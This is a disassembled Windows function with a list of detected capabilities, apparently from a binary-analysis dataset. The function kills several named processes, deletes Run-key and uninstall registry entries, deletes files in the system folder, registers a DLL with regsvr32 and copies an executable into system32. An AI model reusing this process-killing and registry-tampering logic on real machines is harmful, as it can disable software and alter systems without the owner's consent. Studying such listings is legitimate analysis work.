Function at 0x401470
Capabilities:
Check os version
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete registry key
Delete registry value
Get installed programs
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407f2c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x30], edi
call fcn.00406ca0
lea ecx, [ebp - 0x64]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40d4ac
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CFileFind::CFileFind
push 0x40d4ac
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString_1
push 0x40d4ac
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString_1
push 0x40d4ac
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString_1
lea eax, [ebp - 0x28]
push str.WINDOWS_system32_
push eax
mov byte [ebp - 4], 6
call fcn.00405020
add esp, 8
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
push str.WINDOWS_
push ecx
call fcn.00405020
add esp, 8
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ebx, [edi + 0xa0]
push str.Kill_Process_..._Luncher_Process
mov ecx, ebx
call sub.MFC42.DLL_CWnd::SetWindowTextA
mov esi, 0x14
push 0
push str.wsvcinit.exe
call fcn.00406d40
push 0
push str.dttcli.exe
call fcn.00406d40
push 0
push str.dsysmon.exe
call fcn.00406d40
add esp, 0x18
dec esi
jne 0x401577
push 0x64
call fcn.00406e40
add esp, 4
lea edx, [ebp - 0x20]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015d9
mov eax, dword [ebp - 0x20]
push str.dttcli
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
lea edx, [ebp - 0x20]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401622
mov eax, dword [ebp - 0x20]
push str.taskinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x20]
push str.wtaskinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 0x20]
push edx
call esi
lea eax, [ebp - 0x28]
push str.WINDOWSdsysmon.exe
push eax
call fcn.00405020
add esp, 8
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x28]
push str.WINDOWSdttcli.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x28]
push str.WINDOWS_taskinit.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x28]
push str.WINDOWSwsvcinit.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x28]
push str.WINDOWSwtaskinit.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
call fcn.004078f6
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_1st.jpg
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_2nd.jpg
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_3rd.jpg
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system__base.jpg
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_dsysmon.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_dttcli.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_dttclibk.jpg
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_lotterycan.bmp
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str._system_wsvcinit.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
add esp, 4
lea eax, [ebp - 0x148]
mov dword [ebp - 0x148], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x138], 2
jb 0x40286d
cmp dword [ebp - 0x144], 6
jb 0x401bb6
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xe
push ecx
mov ecx, edi
call fcn.00402960
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::CString_2
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x34]
push edx
push str._u__s__sPMEP64.dll
push eax
mov byte [ebp - 4], 0xf
call sub.MFC42.DLL_CString::Format
mov ecx, dword [ebp - 0x34]
add esp, 0xc
push 0
push 0
push ecx
push str.regsvr32
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, 7
push str.pmclient.exe
mov ecx, edi
call fcn.00402ab0
push str.pmclpush.exe
mov ecx, edi
call fcn.00402ab0
push str.pmjsf.exe
mov ecx, edi
call fcn.00402ab0
push str.pmLC.exe
mov ecx, edi
call fcn.00402ab0
push str.pmsys.exe
mov ecx, edi
call fcn.00402ab0
dec ebx
jne 0x4018a2
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x84]
call sub.MFC42.DLL_CFileFind::CFileFind
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x38]
push edx
mov byte [ebp - 4], 0x10
call fcn.004078f6
push str..
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x11
call fcn.004078ea
mov eax, dword [ebp - 0x38]
push 0
push eax
lea ecx, [ebp - 0x84]
call sub.MFC42.DLL_CFileFind::FindFile
mov esi, eax
test esi, esi
je 0x401a5d
lea ecx, [ebp - 0x84]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov esi, eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x1c], esi
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x40192b
mov edx, dword [ebp - 0x84]
push 0x10
lea ecx, [ebp - 0x84]
call dword [edx + 0x40]
test eax, eax
je 0x401990
lea eax, [ebp - 0x68]
lea ecx, [ebp - 0x84]
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
mov eax, dword [eax]
mov ecx, edi
push eax
mov byte [ebp - 4], 0x12
call fcn.00402a60
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x11
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x98]
call sub.MFC42.DLL_AFX_EXCEPTION_LINK::AFX_EXCEPTION_LINK
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x14
push ecx
lea ecx, [ebp - 0x84]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov eax, dword [eax]
mov byte [ebp - 4], 0x15
push eax
call sub.MFC42.DLL_CFile::Remove
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x14
call sub.MFC42.DLL_CString::CString
jmp 0x401a4c
mov dword [ebp - 4], 0x11
call sub.MFC42.DLL_AfxTryCleanup
jmp 0x40192b
mov eax, dword [ebp - 0x20]
mov ecx, edi
push eax
call fcn.00402a60
push str.SoftwareMediaweb
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x2c]
push str.PicaManager
lea edx, [ebp - 0x44]
push ecx
push edx
mov byte [ebp - 4], 0x19
call sub.MFC42.DLL_operator
lea eax, [ebp - 0x44]
push str.ClientSettings
lea ecx, [ebp - 0x28]
push eax
push ecx
mov byte [ebp - 4], 0x1a
call sub.MFC42.DLL_operator
mov bl, 0x1b
push 0x80000001
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], bl
call fcn.00406a50
mov edx, dword [ebp - 0x2c]
push 0xf003f
push edx
push 0x80000001
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x1c
call fcn.00406b30
test eax, eax
je 0x401b04
mov eax, dword [ebp - 0x28]
push eax
push 0x80000001
call fcn.00406b90
mov ecx, dword [ebp - 0x44]
push ecx
push 0x80000001
call fcn.00406b90
mov edx, dword [ebp - 0x2c]
push edx
push 0x80000001
call fcn.00406b90
add esp, 0x18
lea ecx, [ebp - 0x90]
call fcn.00406b70
lea eax, [ebp - 0x3c]
push eax
push 0xf013f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401b41
mov ecx, dword [ebp - 0x3c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.FCC66993_AAE0_4675_8CF6_FCF1BD6CB6CA
push ecx
call esi
jmp 0x401b47
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], bl
call fcn.00406ad0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1a
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x19
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x11
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x10
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0xf
call fcn.004078a8
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x20]
jmp 0x402105
push str._u__s
lea ecx, [ebp - 0x4c]
call fcn.004078a2
lea eax, [ebp - 0x1c]
push str.pmep.dll
push eax
call fcn.004053a0
add esp, 8
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x1d
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0x4c]
push 0
push 0
push ecx
push str.regsvr32
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.Kill_Process_..._Luncher_Process
mov ecx, ebx
call sub.MFC42.DLL_CWnd::SetWindowTextA
mov ebx, 7
push 0
push str.pmclient.exe
call fcn.00406d40
push 0
push str.pmAgent.exe
call fcn.00406d40
add esp, 0x10
dec ebx
jne 0x401c1d
push 0x64
call fcn.00406e40
add esp, 4
lea edx, [ebp - 0x28]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401c73
mov eax, dword [ebp - 0x28]
push str.AutoRun
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x28]
push ecx
call esi
push str.SOFTWAREMediawebPicaClient
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [ebp - 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov bl, 0x1e
push edx
push 0x80000002
mov byte [ebp - 4], bl
call esi
push str.SOFTWAREMediawebPicaManagerClientSettings
lea ecx, [ebp - 0x20]
call fcn.004078a2
mov eax, dword [ebp - 0x20]
push eax
push 0x80000002
call esi
push str.SOFTWAREMediawebPicaManager
lea ecx, [ebp - 0x20]
call fcn.004078a2
mov ecx, dword [ebp - 0x20]
push ecx
push 0x80000002
call esi
push str.SOFTWAREMediaweb
lea ecx, [ebp - 0x20]
call fcn.004078a2
mov edx, dword [ebp - 0x20]
push edx
push 0x80000002
call esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallBEDD785A_EAD7_4C31_8E1F_E86A1D2CF63F
lea ecx, [ebp - 0x20]
call fcn.004078a2
mov eax, dword [ebp - 0x20]
push eax
push 0x80000002
call esi
lea ecx, [ebp - 0x40]
push str.PcImage
lea edx, [ebp - 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x1f
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.004078f6
call fcn.00406530
add esp, 4
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x1c]
push str.PcSound
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x20
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0x14]
push eax
call fcn.004078f6
call fcn.00406530
add esp, 4
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x1c]
push str.PicaLog
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x21
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.004078f6
call fcn.00406530
add esp, 4
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x1c]
push str.pmIE
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x22
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.004078f6
call fcn.00406530
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_AutoLaunch.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_AutoStarter.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_AutoUpdater.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_PicaManagerClient.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_PicaVNC.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmad.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmAddOnSetup.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmAgent.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmclient.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmdc.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmDownloaderC.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmfw.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmShell.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmtaskKill.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmttu.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
lea ecx, [ebp - 0x1c]
push 0x40d4ac
push ecx
call fcn.004051e0
add esp, 0xc
push str._system32pmep.dll
lea edx, [ebp - 0x38]
push eax
push edx
mov byte [ebp - 4], 0x23
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x25
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x30]
push 0x40d4ac
push eax
call fcn.004051e0
add esp, 8
push str._system32pmep.a__
lea ecx, [ebp - 0x34]
push eax
push ecx
mov byte [ebp - 4], 0x26
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x28
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x34]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x48], esp
push eax
mov byte [ebp - 4], 0x29
call fcn.004078f6
mov byte [ebp - 4], 0x28
call fcn.004069c0
add esp, 4
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmLib9x.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmLibxp.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_PMPH.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_VNCHooks.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmShell.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmfw.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_PMDownloaderC.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmvmp.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_Register.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system__stpinfo.dll
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system__taskkill.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmHideUrl.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
add esp, 4
mov dword [ebp - 0x3c], 7
push str.pmsys.exe
mov ecx, edi
call fcn.00402ab0
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
jne 0x4020b1
push 0x3e8
call fcn.00406e40
mov ecx, esp
mov dword [ebp - 0x18], esp
push str._system_pmsys.exe
call sub.MFC42.DLL_CString::CString_1
call fcn.00406220
add esp, 4
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x25
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString
mov ecx, edi
call fcn.00404730
mov ecx, edi
call fcn.00403490
push str.Kill_Process_..._Luncher_Process
lea ecx, [edi + 0xa0]
call sub.MFC42.DLL_CWnd::SetWindowTextA
mov ebx, 0xa
push 0
push str.ezMon.exe
call fcn.00406d40
push 0
push str.ezClick.exe
call fcn.00406d40
push 0
push str.ezPatch.exe
call fcn.00406d40
add esp, 0x18
dec ebx
jne 0x40212d
push 0x64
call fcn.00406e40
add esp, 4
lea ecx, [ebp - 0x34]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40219c
mov edx, dword [ebp - 0x34]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.ezClick_client
push edx
call ebx
mov eax, dword [ebp - 0x34]
push str.ezmon
push eax
call ebx
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SOFTWAREezclick
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x2a
push edx
push 0x80000002
call esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea ecx, [ebp - 0x2c]
call fcn.004078a2
mov eax, dword [ebp - 0x2c]
push eax
push 0x80000002
call esi
lea ecx, [ebp - 0x30]
push ecx
call fcn.00404f20
add esp, 4
push str.ezclick
lea edx, [ebp - 0x1c]
mov bl, 0x2b
push eax
push edx
mov byte [ebp - 4], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x2c
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x2a
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.004078f6
call fcn.00406530
lea ecx, [ebp - 0x1c]
push 0x40d4ac
push ecx
call fcn.004051e0
add esp, 0xc
push str._system32Networksv.exe
lea edx, [ebp - 0x44]
push eax
push edx
mov byte [ebp - 4], 0x2d
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x2f
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x30]
push 0x40d4ac
push eax
call fcn.004051e0
add esp, 8
push str._system32picablank.a__
lea ecx, [ebp - 0x38]
push eax
push ecx
mov byte [ebp - 4], 0x30
call sub.MFC42.DLL_operator
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
push ecx
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x48], esp
push eax
mov byte [ebp - 4], 0x33
call fcn.004078f6
mov byte [ebp - 4], 0x32
call fcn.004069c0
lea ecx, [ebp - 0x48]
push 0x40d4ac
push ecx
call fcn.004051e0
add esp, 0x10
push str._blank.a__
lea edx, [ebp - 0x3c]
push eax
push edx
mov byte [ebp - 4], 0x34
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x36
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x58]
push 0x40d4ac
push eax
call fcn.004051e0
add esp, 8
push str._system32Networksv.exe
lea ecx, [ebp - 0x28]
push eax
push ecx
mov byte [ebp - 4], 0x37
call sub.MFC42.DLL_operator
mov bl, 0x39
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x24]
push str.WINDOWS_system32ezDummy.exe
push ecx
call fcn.00405020
add esp, 8
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3a
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
push str.WINDOWS_system32ezHDS.exe
lea eax, [ebp - 0x24]
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3b
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezhs.dll
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3c
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezMon.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3d
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezPatch.exe
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3e
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezrsB.dll
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x3f
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call fcn.004078f6
call fcn.00406220
lea eax, [ebp - 0x24]
push str.WINDOWS_system32ezrsC.dll
push eax
call fcn.00405020
add esp, 0xc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x40
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x24]
